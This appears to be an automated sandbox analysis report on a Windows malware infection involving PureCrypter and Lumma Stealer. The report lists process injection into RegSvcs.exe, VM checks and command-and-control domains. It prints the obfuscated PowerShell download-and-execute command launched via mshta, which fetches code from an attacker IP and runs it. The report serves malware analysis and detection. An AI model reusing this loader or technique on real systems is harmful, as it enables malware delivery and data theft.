Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_PhysicalMemory

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9931	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9876	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9852	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9920	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 9937	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8432	Thread sleep count: 9876 > 30			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8640	Thread sleep count: 9852 > 30			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior

Source: powershell.exe, 00000008.00000002.58462627995.00000199FF735000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllU
Source: mshta.exe, 00000003.00000003.58280651620.00000248D9998000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000002.58302794613.00000248D9998000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWm
Source: powershell.exe, 00000004.00000002.58389738530.0000015EAAF8C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWC{\|F%SystemRoot%\system32\mswsock.dll
Source: RegSvcs.exe, 0000000E.00000002.58328295441.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWJm9
Source: mshta.exe, 00000003.00000002.58305312624.00000250DC660000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000002.58302794613.00000248D9936000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58280651620.00000248D9933000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.58328295441.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.58324720356.0000000000A50000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000006.00000002.58452952666.0000025BB021E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWf
Source: RegSvcs.exe, 0000000C.00000002.59494604546.0000000000D3A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 14_2_004402D0 LdrInitializeThunk,

14_2_004402D0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: amsi64_8332.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_8400.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_8460.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 8332, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 8400, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 8460, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 8996, type: MEMORYSTR

Detected PureCrypter Trojan

Source: RegSvcs.exe, 0000000C.00000002.59499668768.0000000002A1E000.00000004.00000800.00020000.00000000.sdmp

String found in binary or memory: 92.255.57.112MIIE3jCCAsagAwIBAgIQAMyl7gKxD8R/bGWvMD10ZTANBgkqhkiG9w0BAQ0FADAQMQ4wDAYDVQQDDAVXaXB3dzAgFw0yNTAxMDMwMDU2NDNaGA85OTk5MTIzMTIzNTk1OVowEDEOMAwGA1UEAwwFV2lwd3cwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCJBHoD8dGnUp6uYikMPGLQueXv2m1Xu0heqNGi2rCJpNYbl6KI9IV6SjdkExryLeKPYYSlWJ7DpE1Q7MIziyKNfFegW9a8TG2e/iEzAEo/tpV7x9RPIcRQ/edfva5A7UXDwXtDOBoYut0QSFv09mPd+CTwBK2QBs0oGsqD/xOsjVYJJ4KX1Hd96OdFoMaocbr2/5Vd8byNHtQ+l5gorVyZF2uB8sq3Atk6wnNCp2LpnVn0fLwXr1M5IrgyIGBJlxgnApZhEK4fw9312ERy4LBTeYPi0l4CWlSHSZtthWyfNpn0jl+yg+C6nt4Ty6Ddbs9Ch014fZot/dxSYY4HaEpGNiLJ6+wDTmiTtxPBYp9q6+zAR9HhQdrby9L2vhbmIbbVrD3TR+5TcegrQ8itsRmEzDIS+F7fnCxwtWuYfDYXSl0bjIgMfCzROhBr2AAWjU8YQLZjaeJ1AdBHDnwNXYeT75YAbl8ZjtKlQVknG+OW3CwtOxSQZ+fxg4ksAiddtvvGH3e4sqkmwEhX4YOTN3F+ueUINzIPBqLNOhwezuUzyOVedqJhEspsMOG7tN+2HOjLyMUxyT46zfa4feCZap9mmcxW1nTePXW5pSlWxOa4+PG+BOr0Cc7bPmTwBSWNnKy1dDVQyCuazmo9qJ7F9JaEW3tYtqjJheI8dPTlNcCbIwIDAQABozIwMDAdBgNVHQ4EFgQU6wPCBOLkp1AKy1BgfeO7G7mU/9wwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQ0FAAOCAgEAIOkGO4X8MYgfkdBrYh0KLj11P8ETDbp9EokYcLU3xGh3qtdYRakKdtz4V2GwCWauK0sbOzIWqm+0nuF1BFG4Ff/n90e8zQy4Dx1HkrG+A/4NRiq/1ZRcUhXcEOCbCQlhREZtin6BwTno5ypVaqtWI7ip+OZZruNvVLAQaR2wPKe9W8M+ACn8ipeXGmtow9rqpnUM0KCgT36+TkDyiz6RqBxWjiyDWoodnkxuqrffZdMrob7FxYxWlXK9ODtx/88FBHz0wabvGFkHlWNAUr3BTBMyOyZZTOn08RLKDw90Uj/e9vQf9AutujdJtyhuXL/qbBVOa0bWHIbEdai5rFwo17XMBQhcVDD7cKi4UxpxdviOT3t0ALlE8Zw/NDNz/a0u+bQL3rP7+KCy4X9FidO6umTIoWRv8OSotXX+TsJf+HtG9/nBxEnBF0URXzzCTb20vTtrqfr0zeuZIZN/B0zU68bFS0FycEJVD1y47yhsBThhEVvUMWIYu/RlEENmiT5KYoHD6mcNEXvOUXYFHSiNhNP3ocZAAEirBiZWk2i/mwwd1iL6baDKt+7btwWjUUvqDtnZThWLXjsKkvk84tfiEwVBzZiv3tHotXZB6Y+ILVrE9HdE2I0zyhWIrVRE+tNQxTwb49fLxIF+SoF4K3lYK5Gnp4JYord3Uhmhmm9mZGo="Default:BAPPDATAJ3e74489724f9

Injects a PE file into a foreign processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 value starts with: 4D5A	Jump to behavior

LummaC encrypted strings found

Source: powershell.exe, 00000008.00000002.58308550972.00000199804A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: finickypwk.lat
Source: powershell.exe, 00000008.00000002.58308550972.00000199804A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: shoefeatthe.lat
Source: powershell.exe, 00000008.00000002.58308550972.00000199804A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: savorraiykj.lat
Source: powershell.exe, 00000008.00000002.58308550972.00000199804A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: kickykiduz.lat
Source: powershell.exe, 00000008.00000002.58308550972.00000199804A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: miniatureyu.lat
Source: powershell.exe, 00000008.00000002.58308550972.00000199804A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: leggelatez.lat
Source: powershell.exe, 00000008.00000002.58308550972.00000199804A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: washyceehsu.lat
Source: powershell.exe, 00000008.00000002.58308550972.00000199804A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: bloodyswif.lat
Source: powershell.exe, 00000008.00000002.58308550972.00000199804A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: curtainykeo.lat

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 402000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 404000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 406000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 78A008	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 402000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 44E000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 450000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 803008	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 401000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 444000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 446000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 454000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 77E008	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\mshta.exe "C:\Windows\system32\mshta.exe" https://view-reserve.com/recaptcha-verify.html	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://92.255.57.112/1/1.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC\|I`E`X	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://92.255.57.112/1/2.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC\|I`E`X	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://92.255.57.112/1/3.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC\|I`E`X	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" $c1='%%(n%%ew-o%%%bje%%%ct n%%%et.w%%%e'; $c4='b%%cl%%%%ie%%nt%%).%%%d%%%ow%nl%%o%%'; $c3='a%%dst%%%%ri%%%%%n%%%g(''http://92.255.57.112/1/1.png'')';$tc=($c1,$c4,$c3 -join '');$tc=$tc.replace('%','');i`e`x $tc\|i`e`x
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" $c1='%%(n%%ew-o%%%bje%%%ct n%%%et.w%%%e'; $c4='b%%cl%%%%ie%%nt%%).%%%d%%%ow%nl%%o%%'; $c3='a%%dst%%%%ri%%%%%n%%%g(''http://92.255.57.112/1/2.png'')';$tc=($c1,$c4,$c3 -join '');$tc=$tc.replace('%','');i`e`x $tc\|i`e`x
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" $c1='%%(n%%ew-o%%%bje%%%ct n%%%et.w%%%e'; $c4='b%%cl%%%%ie%%nt%%).%%%d%%%ow%nl%%o%%'; $c3='a%%dst%%%%ri%%%%%n%%%g(''http://92.255.57.112/1/3.png'')';$tc=($c1,$c4,$c3 -join '');$tc=$tc.replace('%','');i`e`x $tc\|i`e`x
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" $c1='%%(n%%ew-o%%%bje%%%ct n%%%et.w%%%e'; $c4='b%%cl%%%%ie%%nt%%).%%%d%%%ow%nl%%o%%'; $c3='a%%dst%%%%ri%%%%%n%%%g(''http://92.255.57.112/1/1.png'')';$tc=($c1,$c4,$c3 -join '');$tc=$tc.replace('%','');i`e`x $tc\|i`e`x	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" $c1='%%(n%%ew-o%%%bje%%%ct n%%%et.w%%%e'; $c4='b%%cl%%%%ie%%nt%%).%%%d%%%ow%nl%%o%%'; $c3='a%%dst%%%%ri%%%%%n%%%g(''http://92.255.57.112/1/2.png'')';$tc=($c1,$c4,$c3 -join '');$tc=$tc.replace('%','');i`e`x $tc\|i`e`x	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" $c1='%%(n%%ew-o%%%bje%%%ct n%%%et.w%%%e'; $c4='b%%cl%%%%ie%%nt%%).%%%d%%%ow%nl%%o%%'; $c3='a%%dst%%%%ri%%%%%n%%%g(''http://92.255.57.112/1/3.png'')';$tc=($c1,$c4,$c3 -join '');$tc=$tc.replace('%','');i`e`x $tc\|i`e`x	Jump to behavior

Source: RegSvcs.exe, 0000000C.00000002.59499668768.0000000002E3C000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.59499668768.0000000002D7C000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.59499668768.0000000002E14000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: RegSvcs.exe, 0000000C.00000002.59499668768.0000000002E3C000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.59499668768.0000000002D7C000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.59499668768.0000000002E14000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager*
Source: RegSvcs.exe, 0000000C.00000002.59499668768.0000000002D7C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Managerh{
Source: RegSvcs.exe, 0000000C.00000002.59499668768.0000000002E3C000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.59499668768.0000000002E14000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.59499668768.0000000002DCA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerTe

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
